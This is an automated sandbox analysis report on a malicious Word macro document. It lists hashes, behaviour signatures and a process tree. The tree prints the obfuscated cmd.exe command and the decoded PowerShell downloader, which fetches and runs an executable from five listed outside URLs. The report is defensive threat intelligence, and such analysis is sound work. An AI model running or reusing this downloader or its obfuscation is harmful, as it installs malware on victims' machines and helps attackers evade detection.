Analysis

  • max time kernel
    148s
  • max time network
    171s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2022 09:49

General

  • Target

    603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc

  • Size

    145KB

  • MD5

    2d09a7533f009b0f6cd0b9f237041761

  • SHA1

    d4438568059da8dac7c76871f575867776674a96

  • SHA256

    603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c

  • SHA512

    bd6322e3baeb29ee7a86ce281f02659cc97cb188cdd70e2927c2260b74f8398b4d7e17caf5e99b2fcd3a333be89fc4de2ae50ff4186ee5a21f8cbd4b495ae767

  • SSDEEP

    1536:N81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a96nDfPsPwSvURabL:N8GhDS0o9zTGOZD6EbzCdgDfPsIaH

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://aspiringfilms.com/lJc7Qpx

exe.dropper

http://kelvinnikkel.com/HgR

exe.dropper

http://dayofdisconnect.com/O5Le4

exe.dropper

http://joynt.net/PVP9Pn

exe.dropper

http://craftww.pl//I1Db12jC

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\603f6b609a396a112d5a90a916b640495b26049afbfdc295bee92d5a31f4376c.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Windows\system32\cmd.exe
        CmD /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""
        3⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:5008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "$oNh='kRV';$qzi=new-object Net.WebClient;$TvV='http://aspiringfilms.com/lJc7Qpx@http://kelvinnikkel.com/HgR@http://dayofdisconnect.com/O5Le4@http://joynt.net/PVP9Pn@http://craftww.pl//I1Db12jC'.Split('@');$MwH='WUs';$Yuk = '235';$fwH='wMQ';$zAE=$env:temp+'\'+$Yuk+'.exe';foreach($UQF in $TvV){try{$qzi.DownloadFile($UQF, $zAE);$PwR='tQB';If ((Get-Item $zAE).length -ge 80000) {Invoke-Item $zAE;$Sdd='ckC';break;}}catch{}}$VtW='IHf';"
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1964-132-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-133-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-134-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-135-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-136-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-137-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp
    Filesize

    64KB

  • memory/1964-138-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp
    Filesize

    64KB

  • memory/1964-150-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-149-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-148-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/1964-147-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp
    Filesize

    64KB

  • memory/2908-144-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp
    Filesize

    10.8MB

  • memory/2908-143-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp
    Filesize

    10.8MB

  • memory/2908-145-0x00007FFB09460000-0x00007FFB09F21000-memory.dmp
    Filesize

    10.8MB

  • memory/2908-142-0x00000186334F0000-0x0000018633512000-memory.dmp
    Filesize

    136KB

  • memory/2908-141-0x0000000000000000-mapping.dmp
  • memory/4176-139-0x0000000000000000-mapping.dmp
  • memory/5008-140-0x0000000000000000-mapping.dmp